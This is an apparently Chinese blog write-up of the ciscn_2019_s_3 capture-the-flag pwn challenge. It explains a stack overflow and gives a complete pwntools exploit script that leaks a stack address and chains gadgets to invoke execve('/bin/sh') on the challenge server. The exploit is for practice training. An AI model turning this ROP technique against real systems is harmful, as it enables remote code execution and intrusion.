5
ciscn_2019_s_3
1.ida分析

存在栈溢出漏洞,但可用函数很少。

在64位下execve的系统调用号为59,也就是0x3b。那大概思路就是利用这个汇编指令来执行execve('/bin/sh',0,0)。
2.checksec

3.解决
一开始编写的时候一直卡在如何把rdx的值变成0x0,最后还是看大佬的博客才学到新思路。参考博客:https://blog.csdn.net/tqydyqt/article/details/105571460
并且不知道为什么远程连接的时候如果返回地址为main函数就不行,只好返回到vuln函数。(但是在本机调试main函数就不会报错,numb了)
from pwn import * from LibcSearcher import * context.log_level='debug' context.os='linux' context.arch='amd64' p=remote('node4.buuoj.cn',26943) #p=process('./ciscn_s_3') elf=ELF('pwn2_sctf_2016') pop_rdi=0x4005a3 pop_rsi_r15=0x4005a1 pop_regs=0x40059a mov_call=0x400580 gadgets=0x4004e2 main=0x40051d vuln=0x4004ed #shell=asm(shellcraft.sh()) payload='a'*16+p64(vuln) p.send(payload) p.recv(0x20) #esp=u64(p.recv(6).ljust(8,'\0'))-0x148 esp=u64(p.recv(6).ljust(8,'\0'))-0x118 #gdb.attach(p) #payload='/bin/sh\0'+p64(0)+p64(pop_rdi)+p64(esp)+p64(gadgets)+p64(0)+p64(0x400517) payload='/bin/sh\0'+p64(0)+p64(pop_regs)+p64(0)*2+p64(esp+0x50)+p64(0)*3+p64(mov_call)+p64(pop_rdi)+p64(esp)+p64(gadgets)+p64(0x400517) p.send(payload) p.interactive()
exp分析:
payload='a'*16+p64(vuln) p.send(payload) p.recv(0x20) #esp=u64(p.recv(6).ljust(8,'\0'))-0x148 esp=u64(p.recv(6).ljust(8,'\0'))-0x118
首先通过write函数泄露出栈的地址,并且计算出下一次输入的时候栈的地址。
payload='/bin/sh\0'+p64(0)+p64(pop_regs)+p64(0)*2+p64(esp+0x50)+p64(0)*3+p64(mov_call)+p64(pop_rdi)+p64(esp)+p64(gadgets)+p64(0x400517) p.send(payload)

利用pop r12在r12寄存器中存放call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]中要跳转的地址,利用mov操作来让rdx=0x0。
剩下的就是普通的布局了。

浙公网安备 33010602011771号